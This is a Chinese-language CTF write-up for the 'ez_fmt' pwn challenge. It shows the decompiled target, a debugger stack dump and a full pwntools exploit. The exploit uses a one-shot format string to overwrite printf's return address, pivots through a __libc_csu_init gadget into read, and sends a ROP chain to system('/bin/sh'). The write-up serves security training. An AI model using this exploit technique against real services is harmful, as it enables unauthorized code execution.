ez_fmt

本来想着用格式化字符串低位爆破,不过看了别的师傅的文章,似乎有更为巧妙的思路。
先给大家看看题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("There is a gift for you %p\n", buf);
read(0, buf, 0x30uLL);
if ( w == 0xFFFF )
{
printf(buf);
w = 0;
}
return 0;
}

题目逻辑很简单,给了一个栈上的地址,然后有个只能利用一次的格式化字符串漏洞,这里如果想要在泄露libc基址,并同时劫持main的返回地址和w,0x30个字节显然是不够的,所以要另辟蹊径,尝试劫持子函数的返回地址,我们知道,在调用一个函数前,要先push rip,push rbp,把当前函数的执行状态和堆栈保留下来,而这里,题目把一个栈上的地址给我们,劫持子函数的返回地址是办得到的,gdb发现printf(buf)的返回地址刚好就在rsp上方,也就是rsp-8的位置,那我们就可以通过格式化字符串修改这个返回地址,从而控制整个程序。

执行到printf(buf)时的栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00:0000│ rsp     0x7fffe5c1e828 —▸ 0x40123e (main+168) ◂— mov dword ptr [rip + 0x2dc8], 0
01:0008│ rdi rsi 0x7fffe5c1e830 ◂— 0x2438256336303225 ('%206c%8$')
02:0010│ 0x7fffe5c1e838 ◂— 0x70243931256e6868 ('hhn%19$p')
03:0018│ 0x7fffe5c1e840 —▸ 0x7fffe5c1e828 —▸ 0x40123e (main+168) ◂— mov dword ptr [rip + 0x2dc8], 0
04:0020│ 0x7fffe5c1e848 —▸ 0x401205 (main+111) ◂— lea rax, [rbp - 0x60]
05:0028│ 0x7fffe5c1e850 —▸ 0x7f71461015e0 ◂— endbr64
06:0030│ 0x7fffe5c1e858 —▸ 0x4012bd (__libc_csu_init+77) ◂— add rbx, 1
07:0038│ 0x7fffe5c1e860 —▸ 0x7f71460fc2e8 ◂— 0x0
08:0040│ 0x7fffe5c1e868 —▸ 0x401270 (__libc_csu_init) ◂— endbr64
09:0048│ 0x7fffe5c1e870 ◂— 0x0
0a:0050│ 0x7fffe5c1e878 —▸ 0x4010b0 (_start) ◂— endbr64
0b:0058│ 0x7fffe5c1e880 —▸ 0x7fffe5c1e980 ◂— 0x1
0c:0060│ 0x7fffe5c1e888 ◂— 0xf4bc6e9f9994b300
0d:0068│ rbp 0x7fffe5c1e890 ◂— 0x0
0e:0070│ 0x7fffe5c1e898 —▸ 0x7f7145f2f083 (__libc_start_main+243) ◂— mov edi, eax

我们可以看到此时push了一个返回地址上去,0x40123e,这就是我们要劫持的返回地址了,当然,劫持一个可能还不够,为了实现rop,我们至少需要写0x18个字节进去,但这里buf有长度限制,仅用格式化字符串显然是不够的。显然需要换一种思路。我们知道,ret相当于pop rip,那也就是说只需要把rsp控制到我们写入的位置就可以了,这里为了避免格式化字符串和我们写入的返回地址冲突,我们用libc_csu_init中的gadget来控制rsp。需要注意的是,在rop之前我们需要先泄露一个libc函数的地址来拿到libc_base。这一步可以放到格式化字符串那一步做。csu的pop执行完后,我们就可以利用ret来继续劫持程序流。
所以我们的总体思路就是:格式化字符串劫持子函数的返回地址到libc_csu_init->利用其中的pop|ret劫持程序流到read->利用read写入rop链,同时劫持read函数的返回地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
#from LibcSearcher import *
p=process("./ez_fmt")
libc=ELF("./libc-2.31.so")
gdb.attach(p)
p.recvuntil(b"0x")
buf_addr="0x"+p.recvuntil("\n")[:-1].decode("utf-8")
buf_addr=int(buf_addr,16)
print(hex(buf_addr))
read_addr=0x401205
offset=0x18
payload=b"%206c%8$hhn%19$p"+p64(buf_addr-8)+p64(read_addr)
payload.ljust(0x30,b"a")
p.send(payload)
p.recvuntil("0x")
libc_base=int("0x"+p.recv(12).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
print(hex(libc_base))
pop_rdi=0x00000000004012d3
system=libc_base+libc.sym["system"]
bin_sh=libc_base+next(libc.search(b"/bin/sh\x00"))
one=0xe3b04
payload=b"a"*0x18+p64(pop_rdi)+p64(bin_sh)+p64(libc_base+0x051CD2)
#pause()
#payload=b"a"*0x18+p64(one)
p.send(payload)
print(hex(bin_sh))
p.interactive()

参考文献:https://www.cnblogs.com/S1nyer/p/17914751.html